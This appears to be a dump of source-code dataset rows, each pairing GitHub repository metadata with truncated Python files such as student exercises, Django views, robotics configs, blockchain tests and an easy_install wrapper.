d9f4bcefea50acc8b1dd920d630cdd854f8a3254
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
458
py
# -*- coding: utf-8 -*- import numpy as np L=int(input("Quantidade de Linhas: ")) C=L a=np.zeros((L,C)) x=int(input("Linhas: ")) y=int(input("Colunas: ")) for i in range(0,a.shape[0],1): for j in range(0,a.shape[1],1): a[i,j]=float(input("Valor da Linha: ")) soma1L=0 for i in range(x,C-y,1): soma1L=s...
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
fe03327e97fff1983eaee4dd0427062b9d600377
05cda3ab89d001aef2ec19f2975fad9397c8dd0b
/experiments/sawyer/towel_classifier/conf.py
bec399b3897f8ecb885707dcf2e8c6335cc1ab37
[ "MIT" ]
permissive
dhl8282/visual_foresight
ddcc940ad542222d433ca269e37e4d5f747732ea
5e6205a85119c1dec4a39ba7e67d7c89e726a47c
refs/heads/master
2022-09-05T18:16:07.590072
2020-05-26T08:41:52
2020-05-26T08:41:52
266,988,765
0
0
MIT
2020-05-26T08:36:22
2020-05-26T08:36:22
null
UTF-8
Python
false
false
988
py
from visual_mpc.video_prediction.setup_predictor import setup_predictor from visual_mpc.video_prediction.vpred_model_interface import VPred_Model_Interface from video_prediction.models.savp_model import SAVPVideoPredictionModel import robonet modeldir = '/home/sudeep/Documents/video_prediction/pretrained_models/mixed...
[ "sdasari@berkeley.edu" ]
sdasari@berkeley.edu
9d8c079179f285f75f1695a88d4e3807acf800c1
ced968634cb9c6ee4677cd747b02b0a656ba3221
/env/bin/easy_install
98cbe45bf86c8f2fafe9ddf8b0ac9682e7acd4e4
[]
no_license
veganna/hori
ad5c171fd0ea936f047cc375991e9f7a438df7ab
92e195d9844e08bd9c9cbbbb4d1e1e6eef738461
refs/heads/main
2023-09-02T05:53:50.756717
2021-11-07T18:12:09
2021-11-07T18:12:09
425,580,033
0
0
null
null
null
null
UTF-8
Python
false
false
244
#!/home/mainsite/env/bin/python3 # -*- coding: utf-8 -*- import re import sys from setuptools.command.easy_install import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())
[ "root@vultr.guest" ]
root@vultr.guest
78278e990a57092f2ec56732405baf87e7f9f84d
1fe8d4133981e53e88abf633046060b56fae883e
/venv/lib/python3.8/site-packages/tensorflow/python/layers/normalization.py
2ff79b4f2e9ffe0a6b49bfc40e106c0aa66daffd
[]
no_license
Akira331/flask-cifar10
6c49db8485038731ce67d23f0972b9574746c7a7
283e7a2867c77d4b6aba7aea9013bf241d35d76c
refs/heads/master
2023-06-14T16:35:06.384755
2021-07-05T14:09:15
2021-07-05T14:09:15
382,864,970
0
0
null
null
null
null
UTF-8
Python
false
false
130
py
version https://git-lfs.github.com/spec/v1 oid sha256:6ba7d44e910c3440fadfac158cda4aa0136a4447c84f005b7144e6cd9b29444d size 17101
[ "business030301@gmail.com" ]
business030301@gmail.com
85ae43871dcc3db57959c181396ab5c178961f2e
330285bea42e66b1975d62e2f4dd742d4c3ab360
/franka_moveit/scripts/create_demo_planning_scene.py
9916a164cc43bf4866b219c232f5d029ec8d94c9
[ "Apache-2.0" ]
permissive
justagist/franka_ros_interface
946182e0430d21a9c119470729d7ec5e96caa404
f1f3649a4b030a9191e0577d980680ec95afa6ab
refs/heads/master
2021-12-24T22:22:14.599033
2021-12-22T13:42:30
2021-12-22T13:42:30
199,485,892
130
51
Apache-2.0
2021-05-03T17:11:32
2019-07-29T16:07:08
Python
UTF-8
Python
false
false
3,226
py
#!/usr/bin/env python # /*************************************************************************** # # @package: franka_moveit # @metapackage: franka_ros_interface # @author: Saif Sidhik <sxs1412@bham.ac.uk> # # **************************************************************************/ # /*********************...
[ "saifksidhik@gmail.com" ]
saifksidhik@gmail.com
c9905c4f0826bb701e09958514299e45c73b5843
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/173/usersdata/265/86697/submittedfiles/moedas.py
a742b7f67e4b1843dcb579ac41fef535ec50768c
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
300
py
# -*- coding: utf-8 -*- a = int(input('digite o valor de a: ')) b = int(input('digite o valor de b: ')) c = int(input('digite o valor de c: ')) for qa in range (0,c,1): if (((c-(qa*a))%)b==0): print(qa) qb=(c-(qa*a))//b print(qb) break else: print('N')
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
e0e94e4d38d76f3390d1bccd9905611afc425cc0
692f9d0f891fa670c56d88b96312c8295fcf06b3
/olivemain/tests/core/full_node/full_sync/test_full_sync.py
a5dba0bbfdcc896e275950cd9f6b04545b81cccc
[ "Apache-2.0" ]
permissive
aisuyi065/Olive-blockchain
97302c1002eb140957fa57eb1932f683847b4d64
a4f5d48597af90343279597a81fd6441f4de9223
refs/heads/main
2023-06-30T04:41:09.882393
2021-08-07T03:53:27
2021-08-07T03:53:27
null
0
0
null
null
null
null
UTF-8
Python
false
false
17,659
py
# flake8: noqa: F811, F401 import asyncio import logging import time from typing import List import pytest from olive.full_node.weight_proof import _validate_sub_epoch_summaries from olive.protocols import full_node_protocol from olive.types.blockchain_format.sub_epoch_summary import SubEpochSummary from olive.types....
[ "87711356+Olive-blockchain@users.noreply.github.com" ]
87711356+Olive-blockchain@users.noreply.github.com
ffbb923905cedb23748806a6e5a210f52377acc7
c42672aeac984ab3f57d840710e145f4e918ba01
/nasws/cnn/search_space/monodepth/analysis.py
872b130085e3b8170a5f7d4627a9b3fd1c6b5248
[ "MIT" ]
permissive
kcyu2014/nas-landmarkreg
00212b6015d1fef3e7198bfa596fa69a898167c2
a00c3619bf4042e446e1919087f0b09fe9fa3a65
refs/heads/main
2023-07-21T19:52:19.392719
2021-08-24T09:37:24
2021-08-24T09:37:24
350,368,390
10
0
null
null
null
null
UTF-8
Python
false
false
3,434
py
import os import glob from collections import defaultdict from monodepth.utils.reporter import tensorboard_check_tags, tensorboard_load_summary, count_parameters_in_MB_search from monodepth.utils.checkpointer import load_args from monodepth.models import MidasNet, MidasNetSearch from nni.nas.pytorch.fixed import FixedA...
[ "16794548+kcyu2014@users.noreply.github.com" ]
16794548+kcyu2014@users.noreply.github.com
00868bf5c2508b4f24084132b710bd214998c056
524acbbc16eac0ef28da58ff9f79d02d7cadcf1b
/backend/shop_time/categories/views.py
be8c7d554b3cbf84338a20c5cf0a4fe64763644b
[]
no_license
ZandTree/art-shop
47eb6ed6f328157c852cef6e324e4be5ab3592f8
faa506fb62f845168b9874a720c0b62808245058
refs/heads/master
2023-06-01T06:40:28.755068
2021-06-18T23:53:57
2021-06-18T23:53:57
376,624,201
0
0
null
null
null
null
UTF-8
Python
false
false
1,802
py
from rest_framework.views import APIView from .models import Category from .serializer import CategorySerializer from rest_framework.permissions import AllowAny from rest_framework import status from rest_framework.response import Response class CategoryList(APIView): """ get all categories with tree structure"...
[ "diafox2015@gmail.com" ]
diafox2015@gmail.com
d116cf499ae6b5ea0e40f3a62ee8e3bcd94e6a5e
824f19d20cdfa26c607db1ff3cdc91f69509e590
/random/strings/345. Reverse Vowels of a String.py
88e11095e0c062114eea3783f47a5500cedfc1f9
[]
no_license
almamuncsit/LeetCode
01d7e32300eebf92ab54c983de6e183242b3c985
17aa340649574c37067ec170ceea8d9326be2d6a
refs/heads/master
2021-07-07T09:48:18.069020
2021-03-28T11:26:47
2021-03-28T11:26:47
230,956,634
4
0
null
null
null
null
UTF-8
Python
false
false
689
py
class Solution: def reverseVowels(self, s: str) -> str: s_list = list(s) vowels = set({'a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U'}) left = 0 right = len(s_list)-1 while right > left: if s_list[left] in vowels and s_list[right] in vowels: s_li...
[ "msarkar.cse@gmail.com" ]
msarkar.cse@gmail.com
68dccaff016d11cce153e1b9db7affab3c07bd9b
01ea95d7301b9ad3b84f11c8cbcfe02d00017250
/bin/until/echarts/Line.py
74f27f3640b6945c26b0de1fc9a04cfdff387304
[]
no_license
windyStreet/MQSTATIC
82962ae7a43d015dac61cb6ffce8d8853e6774df
b5a3d3862bd824b4a08b1c29436e417a9590dcab
refs/heads/master
2020-12-02T21:13:37.952192
2017-07-20T10:20:14
2017-07-20T10:20:14
96,275,208
0
0
null
null
null
null
UTF-8
Python
false
false
6,518
py
#!/usr/bin/env python # !-*- coding:utf-8 -*- import datetime from bin.until import Logger from bin.until import Time from bin.until import Mongo from bin.until import DBCODE from bin.until import Filter from bin.logic import BO from bin.until import Data L = Logger.getInstance() class Line(object): # search_fil...
[ "yq904276384@foxmail.com" ]
yq904276384@foxmail.com
4442f06af05e88ccdffcc17cb294b3645525b836
29d1b8d1e01cda9c963b68074a4de18a67ef8c00
/home_work_12 (2).py
99d9ac6838eaff5c464b28f3ff3759fcacf019b8
[ "MIT" ]
permissive
acc-cosc-1336/cosc-1336-fall-2017-stevepaul135
fd515d3c7fdb75f408a045f4329efd6dfb783323
691cafe85cabd8f5829323fec77676d96c9225d4
refs/heads/master
2021-08-28T03:09:16.436604
2017-12-11T04:58:15
2017-12-11T04:58:15
103,597,729
0
0
null
null
null
null
UTF-8
Python
false
false
9,082
py
#Stephen Paul's 12th homework assignment class Person: def __init__(self, first_name, last_name): self.name = first_name + ' ' + last_name def displayPerson(self): print("This persons name is", self.name) class Student(Person): def __init__(self, student_id, firs...
[ "noreply@github.com" ]
acc-cosc-1336.noreply@github.com
34f47be9ef55d3d72a7abc700bc1d17d771fd10e
f82e67dd5f496d9e6d42b4fad4fb92b6bfb7bf3e
/scripts/client/gui/scaleform/daapi/view/meta/serverstatsmeta.py
4a28fbbfafb863429e1181c69015f9b805026cc8
[]
no_license
webiumsk/WOT0.10.0
4e4413ed4e7b00e22fb85d25fdae9400cbb4e76b
a84f536c73f86d9e8fab559e97f88f99f2ad7e95
refs/heads/master
2021-01-09T21:55:00.662437
2015-10-23T20:46:45
2015-10-23T20:46:45
44,835,654
1
0
null
null
null
null
UTF-8
Python
false
false
1,339
py
# Embedded file name: scripts/client/gui/Scaleform/daapi/view/meta/ServerStatsMeta.py from gui.Scaleform.framework.entities.BaseDAAPIComponent import BaseDAAPIComponent class ServerStatsMeta(BaseDAAPIComponent): def getServers(self): self._printOverrideError('getServers') def relogin(self, id): ...
[ "info@webium.sk" ]
info@webium.sk
02a29652ff4002ff213de2e6753b4912bb85ea9e
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_392/ch4_2019_06_05_14_33_33_171155.py
cdcdf2b3d67996003e841afaca8af0a2d1c0ff25
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
158
py
def classifica_idade(x): if x <= 11: return'crianca' elif x >= 12 and x <= 17: return 'adolescente' else: return 'adulto'
[ "you@example.com" ]
you@example.com
bfc18eaa66e8178ea1f6ceae0421145d57bb023a
8821970a489ea190ab7dd6a2da8f672681138543
/piston/web/__init__.py
acfc64d31c318a7da92d7c776160f900b4897930
[ "LicenseRef-scancode-warranty-disclaimer", "MIT" ]
permissive
grey580/piston
ab293d449728c9fbcc442adc0463135628548deb
5a3472517e2de14e75eb688cf9335b2c98c3e6f4
refs/heads/master
2021-01-09T05:35:52.587268
2017-02-02T09:37:50
2017-02-02T09:37:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,583
py
import re from ..utils import strfdelta, strfage from ..storage import configStorage as configStore from .app import app, socketio from ..steem import SteemConnector from . import views, assets import logging log = logging.getLogger(__name__) steem = SteemConnector().getSteem() __ALL__ = [ "app", "assets", ...
[ "mail@xeroc.org" ]
mail@xeroc.org
34d6d85b02c3b8d0e8734802762acb51523c3fa1
b56c584ba04de13c7a05f6633893b318eb3fb19d
/课后作业/第五天作业/guoqijun/Chapter 12/scapy_ping_one_new.py
a64b040c34aa4916e5a8141ec9405dfbff24807a
[]
no_license
I318928/Python-Homework
42133f1291cc3da90293f994ae1a09dce618bdad
139b450f4bf2e4831688df80c12f43edcc00e468
refs/heads/master
2020-06-01T06:53:50.733061
2019-04-17T12:12:16
2019-04-17T12:12:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
429
py
#!/usr/bin/env python3 # -*- coding=utf-8 -*- from scapy.all import * def qytang_ping(ip): ping_pkt = IP(dst=ip) / ICMP() ping_result = sr1(ping_pkt, timeout=1, verbose=False) if ping_result: return ip, 1 else: return ip, 0 if __name__ == '__main__': result = qytang_ping('192.16...
[ "xiaoyang429670@gmail.com" ]
xiaoyang429670@gmail.com
14b05dbce16975b542d6409149a24a4079334f70
3b4f985759e44dc169134ae7dcee8e92747c4b01
/tests/tests_app/components/multi_node/test_trainer.py
249d7868652bb9800f69f27af8365d32b7063452
[ "Apache-2.0" ]
permissive
SkafteNicki/pytorch-lightning
4b09863bf222241ca7128d13df94ff60b71e50aa
7df627b43746a85aa87671bec3e6dada0d98b556
refs/heads/master
2023-07-15T21:20:02.468216
2023-05-04T08:12:33
2023-05-04T08:12:33
248,216,299
3
1
Apache-2.0
2023-07-10T02:40:24
2020-03-18T11:44:20
Python
UTF-8
Python
false
false
3,538
py
import os from copy import deepcopy from functools import partial from unittest import mock import pytest from lightning_utilities.core.imports import module_available from lightning_utilities.test.warning import no_warning_call import pytorch_lightning as pl from lightning.app.components.multi_node.trainer import _L...
[ "noreply@github.com" ]
SkafteNicki.noreply@github.com
7c0f8ef2e5e76dd512f4593f86eb29756a26e302
be6e1acc03149aee1ffbdaa315cf8b7d175fffe9
/event_log.py
6d347539f3034a82bf2d2298b62c74976e512faf
[ "MIT" ]
permissive
rebcabin/cartpoleplusplus
763c22d41fc6f13b01a1519da3b51de91cfd03f7
f986f495755369f571dcbb9a79d21680b916c0f4
refs/heads/master
2020-04-05T08:27:28.420983
2018-11-24T01:17:47
2018-11-24T01:17:47
156,716,591
0
0
MIT
2018-11-08T14:10:29
2018-11-08T14:10:28
null
UTF-8
Python
false
false
6,521
py
#!/usr/bin/env python import event_pb2 import gzip import matplotlib.pyplot as plt import numpy as np import StringIO import struct def rgb_to_png(rgb): """convert RGB data from render to png""" sio = StringIO.StringIO() plt.imsave(sio, rgb) return sio.getvalue() def png_to_rgb(png_bytes): """convert png (f...
[ "matthew.kelcey@gmail.com" ]
matthew.kelcey@gmail.com
9c0f49814adb26d4b6bde24af40fb90845ccac80
d34da4a69ebef62d4b17b8b56f0eca72f0c021e4
/traffic_sign/subset_coco.py
4e117ea2e1cf5dff2b36cba086a24552a7c93498
[]
no_license
gy20073/aws
91c193e18a15ab4d20acf9d58078bda791b39c38
1d73ce215026b1baa91a359628c26edeb59a22ce
refs/heads/master
2020-03-19T03:55:24.406320
2019-10-12T05:35:30
2019-10-12T05:35:30
135,775,172
3
0
null
null
null
null
UTF-8
Python
false
false
1,296
py
import os # for each label file, check whether stop sign in it. # if do, then create new label file with only stop sign, in label dir, and add an entry of this image in the index file subset="train2014" label_path = "/scratch/yang/aws_data/coco/labels_bak/" + subset out_path = "/scratch/yang/aws_data/coco/labels/" + ...
[ "gy20073@gmail.com" ]
gy20073@gmail.com
44b7e6b025a9917ce35e63a322c922264b4455b4
5922398212b6e113f416a54d37c2765d7d119bb0
/python/O(1) Check Power of 2.py
d664954d5d2b872362cab07d682b5469322e34d5
[]
no_license
CrazyCoder4Carrot/lintcode
e777f73e1fdfe3b8abc9dbfc07d26602bf614151
33dcd7f0e2d9bee58840a3370837cb2db82de1eb
refs/heads/master
2021-01-09T20:38:59.813198
2017-01-16T22:34:26
2017-01-16T22:34:26
60,287,619
1
0
null
null
null
null
UTF-8
Python
false
false
218
py
class Solution: """ @param n: An integer @return: True or false """ def checkPowerOf2(self, n): # write your code here if n == 0: return False return n&(n-1) == 0
[ "liuzhenbang1988@gmail.com" ]
liuzhenbang1988@gmail.com
a0df9ac05e88fad95bd93a42f58be9a0d2994745
35b45b5225f911072287b7f0888f4ef4cc70f3d9
/tests/test_colors.py
4b316eecdba5bf03008b0ff14ef89c60f50cc7d2
[ "BSD-3-Clause" ]
permissive
heuer/segno
54e9b583dbc33b016715bb13f97a9013a37cc9d4
11556378fa8949fa5ad6dddbf8cc5f4a667038af
refs/heads/master
2023-06-21T02:01:45.620206
2023-05-02T22:09:31
2023-05-02T22:09:31
64,920,252
441
59
BSD-3-Clause
2023-06-15T05:00:05
2016-08-04T09:08:52
Python
UTF-8
Python
false
false
8,562
py
# -*- coding: utf-8 -*- # # Copyright (c) 2016 - 2022 -- Lars Heuer # All rights reserved. # # License: BSD License # """\ Tests against the colors module. """ from __future__ import absolute_import, unicode_literals import pytest from segno import writers as colors def test_illegal(): with pytest.raises(ValueErr...
[ "heuer@semagia.com" ]
heuer@semagia.com
1b90c28e59e5d4a5998f4d6c2027b2eacdd7467f
1d9356626550004745bbc14de9a3308753afcea5
/sample/tests/while/led.py
2d6f9c7e92fa414d08993efca62d0115951efe0e
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
hoangt/veriloggen
e916290aa15c63f03ec0ad8e9c8bdf183787fbe9
8e7bd1ff664a6d683c3b7b31084ff4d961c4c841
refs/heads/master
2021-01-14T12:01:03.686270
2015-09-18T06:49:20
2015-09-18T06:49:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
806
py
import sys import os from veriloggen import * def mkTest(): m = Module('test') clk = m.Reg('CLK') rst = m.Reg('RST') count = m.Reg('count', width=32) m.Initial( Systask('dumpfile', 'uut.vcd'), Systask('dumpvars', 0, clk, rst, count), ) m.Initial( clk(0), ...
[ "shta.ky1018@gmail.com" ]
shta.ky1018@gmail.com
3233cf987d1529f760bef548e7a959952c37b30f
98e1155518b292341e60908d12233a2b130cb043
/helpers.py
cabba2a794108cc9b151778f12f403862f7ef99b
[]
no_license
bkj/pbtnet
5443a580e1bca91e4c293ae2be8bdefb85a44ce0
e8c7b11be92e5ff9e4facccf908e87611b7f72bb
refs/heads/master
2021-05-02T13:49:50.894351
2018-02-08T03:48:25
2018-02-08T03:48:25
120,707,510
0
0
null
null
null
null
UTF-8
Python
false
false
644
py
#!/usr/bin/env python """ helpers.py """ from __future__ import print_function, division import numpy as np import torch from torch import nn from torch.autograd import Variable def to_numpy(x): if isinstance(x, Variable): return to_numpy(x.data) return x.cpu().numpy() if x.is_cuda else x....
[ "bkj.322@gmail.com" ]
bkj.322@gmail.com
90cb117fe81c46994501a28739c375f1f067da8f
256644d14bd15f8e1a3e92c95b1655fd36681399
/backup/mypybrain/angn.py
2f5f9b3be43027253373cedda5b32243ca76c87d
[]
no_license
mfbx9da4/neuron-astrocyte-networks
9d1c0ff45951e45ce1f8297ec62b69ee4159305a
bcf933491bdb70031f8d9c859fc17e0622e5b126
refs/heads/master
2021-01-01T10:13:59.099090
2018-06-03T12:32:13
2018-06-03T12:32:13
12,457,305
1
0
null
null
null
null
UTF-8
Python
false
false
14,739
py
# -*- coding: utf-8 -*- """ Created on Thu Feb 14 17:48:37 2013 The activation function was the hyperbolic tangent in all the layers, except in the output layer where the threshold function was used with a threshold value of 0.5 and an expected binary output. All layers have astrocytes Weight limiting? Decision of n...
[ "dalberto.adler@gmail.com" ]
dalberto.adler@gmail.com
a0c8ab45ee293002eb2896412bc5d8ad46314948
f62fd455e593a7ad203a5c268e23129473d968b6
/swift-2.13.1/test/unit/obj/test_server.py
03e40a730d03da0616400cb61955cb0a5ba0eec7
[ "Apache-2.0" ]
permissive
MinbinGong/OpenStack-Ocata
5d17bcd47a46d48ff9e71e2055f667836174242f
8b7650128cfd2fdf5d6c8bc4613ac2e396fb2fb3
refs/heads/master
2021-06-23T05:24:37.799927
2017-08-14T04:33:05
2017-08-14T04:33:05
99,709,985
0
2
null
2020-07-22T22:06:22
2017-08-08T15:48:44
Python
UTF-8
Python
false
false
340,294
py
# coding: utf-8 # Copyright (c) 2010-2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
[ "gongwayne@hotmail.com" ]
gongwayne@hotmail.com
ab4b58c9f57d81b86dab68de0f9e7f748fa7cce3
7680dbfce22b31835107403514f1489a8afcf3df
/Exercícios_parte_2/exercício__090.py
ee3ab125b849a111a10a421c0ee9807bb6c49dac
[]
no_license
EstephanoBartenski/Aprendendo_Python
c0022d545af00c14e6778f6a80f666de31a7659e
69b4c2e07511a0bd91ac19df59aa9dafdf28fda3
refs/heads/master
2022-11-27T17:14:00.949163
2020-08-03T22:11:19
2020-08-03T22:11:19
284,564,300
0
0
null
null
null
null
UTF-8
Python
false
false
1,083
py
# dicionários print('--' * 17) print(' CADASTRO DE NOTAS') print('--' * 17) aluno = dict() aluno['nome'] = str(input('Nome: ')).strip().capitalize() aluno['med'] = float(input('Média de {}: '.format(aluno['nome']))) print() print(f' - O nome é {aluno["nome"]}.\n' f' - A média é {aluno["med"]:.2f}....
[ "noreply@github.com" ]
EstephanoBartenski.noreply@github.com
4345f43ceebfae6bf9b4514241a243202d936d70
6d71de4e88dcb7d04f6d3a18736d393e12f8d087
/scripts/packages/mylistbox.py
27d62cd97b87fe9edbbcf35263ca9292f8eac3c9
[ "MIT" ]
permissive
wyolum/Alex
71075c30691229e8eb28afa06a6ab44c450b14d4
03f1d8ae0107454d18964e33777ffc4c0c1a1951
refs/heads/main
2023-07-02T16:11:57.088323
2021-08-05T17:59:04
2021-08-05T17:59:04
338,686,528
10
0
null
null
null
null
UTF-8
Python
false
false
1,551
py
#https://tk-tutorial.readthedocs.io/en/latest/listbox/listbox.html import tkinter as tk def listbox(parent, items, item_clicked, item_selected, n_row=40): def myclick(event=None): idx = lb.curselection() if idx: out = lb.get(idx) search.delete(0, tk.END) search....
[ "wyojustin@gmail.com" ]
wyojustin@gmail.com
7a1b250d70836eea4d41151baba4c99d37dad85c
5d8cecc379bb828694662c865930be8c75d26943
/evennia/accounts/accounts.py
626c4a60f3a83d7b5cfa779d6967e68f0be50d6e
[ "BSD-3-Clause" ]
permissive
job/evennia
714e0f3699875169ce0987e4ebc6b5340bef8cbd
5aaa0fcfee6082a3a2259a6562c459c5f21fb591
refs/heads/master
2021-05-08T23:56:14.348366
2018-01-30T17:22:24
2018-01-30T17:22:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
38,062
py
""" Typeclass for Account objects Note that this object is primarily intended to store OOC information, not game info! This object represents the actual user (not their character) and has NO actual precence in the game world (this is handled by the associated character object, so you should customize that instead for ...
[ "griatch@gmail.com" ]
griatch@gmail.com
e2fdf25b7497cc5c1fcb0bf489b3eb9332e5bb62
5faa3f139f30c0d290e327e04e3fd96d61e2aabb
/mininet-wifi/SWITCHON-2015/allWirelessNetworksAroundUs.py
4e0c7e784e0db877764da170ac32d83db2baa977
[]
no_license
hongyunnchen/reproducible-research
c6dfc3cd3c186b27ab4cf25949470b48d769325a
ed3a7a01b84ebc9bea96c5b02e0c97705cc2f7c6
refs/heads/master
2021-05-07T08:24:09.586976
2017-10-31T13:08:05
2017-10-31T13:08:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,525
py
#!/usr/bin/python """This example is based on this video: https://www.youtube.com/watch?v=_C4H2gBdyQY""" from mininet.net import Mininet from mininet.node import Controller, OVSKernelSwitch, OVSKernelAP from mininet.link import TCLink from mininet.cli import CLI from mininet.log import setLogLevel import os def topo...
[ "ramonreisfontes@gmail.com" ]
ramonreisfontes@gmail.com
fc10948d86708b6f47a13b0e303228135646e05a
e76f6fdb1a2ea89d4f38ac1ed28e50a7625e21b7
/qytdjg_learning/views/Form.py
f0c4967d53b2ea07c09c61e006a240cff2f1d5c2
[]
no_license
collinsctk/qytdjg_learning
4d61a2a236f0bc4bf9be8d999352a8e3c1b87408
72a6d6153f6ca6bf9fccad76612450fdaf83d9fd
refs/heads/master
2020-03-24T19:45:31.145059
2018-07-31T06:51:14
2018-07-31T06:51:14
142,943,470
0
0
null
null
null
null
UTF-8
Python
false
false
5,628
py
#!/usr/bin/env python3 # -*- coding=utf-8 -*- # 本脚由亁颐堂现任明教教主编写,用于乾颐盾Python课程! # 教主QQ:605658506 # 亁颐堂官网www.qytang.com # 教主技术进化论拓展你的技术新边疆 # https://ke.qq.com/course/271956?tuin=24199d8a from django.http import HttpResponse from django.shortcuts import render_to_response from django.shortcuts import render # 表单 # 获取客户端请...
[ "collinsctk@qytang.com" ]
collinsctk@qytang.com
775c3d99a00861bd1974087e2fe75b1216b73fe6
421b0ae45f495110daec64ed98c31af525585c2c
/File_Handling/first_file.py
53c72b560b6263d87c4f8e3ce01570d86ad5fb4f
[]
no_license
Pradeepsuthar/pythonCode
a2c87fb64c79edd11be54c2015f9413ddce246c4
14e2b397f69b3fbebde5b3af98898c4ff750c28c
refs/heads/master
2021-02-18T05:07:40.402466
2020-03-05T13:14:15
2020-03-05T13:14:15
245,163,673
0
0
null
null
null
null
UTF-8
Python
false
false
528
py
# python provied function and methos to preform such as creating, reading, opening, closing etc. # open file in python # Syntax # fileobject = open(file_name[,access_mode][,buffring]) # NOTE : Default access_mode is read # Create/Open file in write mode # fw = open("emp.txt","w") # write data into file # ...
[ "sutharpradeep081@gmail.com" ]
sutharpradeep081@gmail.com
aea70b7bae784283e27efb8fb4f2bc809628cb32
9bf62c04522b6b28e4d4bedd25654d0ea675f72a
/wechat_django/admin/views/menu.py
38ce85ed5fd22d128e4d83ff133787061ea61e5f
[ "MIT" ]
permissive
x2x4com/wechat-django
9a46cd34c4a00f515e2e315d51d6475e509ad9f0
926e5d2ed2895d30a253504ff252a7a52fcfe81f
refs/heads/master
2020-05-20T02:31:08.735986
2019-05-01T16:03:31
2019-05-01T16:03:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,832
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django import forms from django.contrib import messages from django.urls import reverse from django.utils.http import urlencode from django.utils.safestring import mark_safe from django.utils.translation import ugettext_lazy as _ import object_tool f...
[ "13599838712@hotmail.com" ]
13599838712@hotmail.com
c70f0f21ddbab3ceb6ab8740dc0a3da2d1b05679
8e52c27f1b2823db67db4438b2b7e22c18254eca
/chainer_/chainercv2/models/mnasnet.py
7fc29a525f9eef9ba2765ae2e02a792b0197b0e0
[ "MIT" ]
permissive
earhian/imgclsmob
5582f5f2d4062b620eecc28d5c4c9245fea47291
c87c0942420876941868c016211073dec4392e4d
refs/heads/master
2020-04-12T02:13:55.258601
2018-12-17T20:38:19
2018-12-17T20:38:19
162,242,486
1
0
MIT
2018-12-18T06:40:42
2018-12-18T06:40:41
null
UTF-8
Python
false
false
13,344
py
""" MnasNet, implemented in Chainer. Original paper: 'MnasNet: Platform-Aware Neural Architecture Search for Mobile,' https://arxiv.org/abs/1807.11626. """ __all__ = ['MnasNet', 'mnasnet'] import os import chainer.functions as F import chainer.links as L from chainer import Chain from functools import partial...
[ "osemery@gmail.com" ]
osemery@gmail.com
b302b13d664f632886e2fab3aed08f727a416d21
81e706b69c789aff05691c41fa79156942927f82
/site-packages/tensorflow/python/ops/stateful_random_ops.py
d27c20ca03006d7837c891f41ea4f308918b8e56
[]
no_license
yoncho/OpenCV-code
f5a1091ef32f3c8c3254ab93e083950b84c4fabd
bda2f793b11462e67c7ab644b342beffb871e3de
refs/heads/master
2023-03-30T12:01:23.521511
2021-04-01T13:45:44
2021-04-01T13:45:44
291,398,453
0
0
null
null
null
null
UTF-8
Python
false
false
25,862
py
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
[ "yoncho@student.42seoul.kr" ]
yoncho@student.42seoul.kr
d6e214d0a8d4d12652eee9f7bca72966d79550f4
f9684c301ce50a6bbb5a75280cd4c70277119f27
/yelpdetails/yelpdetails/pipelines.py
55531cab7d87353200bd42058134f3e8878cb6be
[]
no_license
vaibhav89000/yelpdetails
76149f2feed5cbad98b3e67d3a786223289fc1f4
b7ce6f739a7f76fbe665e27eb097475775c0c489
refs/heads/master
2022-11-25T05:09:56.803075
2020-07-06T12:45:54
2020-07-06T12:45:54
269,969,213
1
0
null
null
null
null
UTF-8
Python
false
false
1,379
py
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html import sqlite3 class YelpdetailsPipeline(object): def __init__(self): self.create_connection() self.cre...
[ "vaibhav89000@gmail.com" ]
vaibhav89000@gmail.com
a927ca2edd90ae07adf56559bbfe6b40379ae5cb
f07a42f652f46106dee4749277d41c302e2b7406
/Data Set/bug-fixing-2/f57f33a8e73d1ac10b3eb6b4333e635c1608bc27-<run>-bug.py
8fd0e05b5b4b4ec324c3a6a1b7cf88dccfc0d38a
[]
no_license
wsgan001/PyFPattern
e0fe06341cc5d51b3ad0fe29b84098d140ed54d1
cc347e32745f99c0cd95e79a18ddacc4574d7faa
refs/heads/main
2023-08-25T23:48:26.112133
2021-10-23T14:11:22
2021-10-23T14:11:22
null
0
0
null
null
null
null
UTF-8
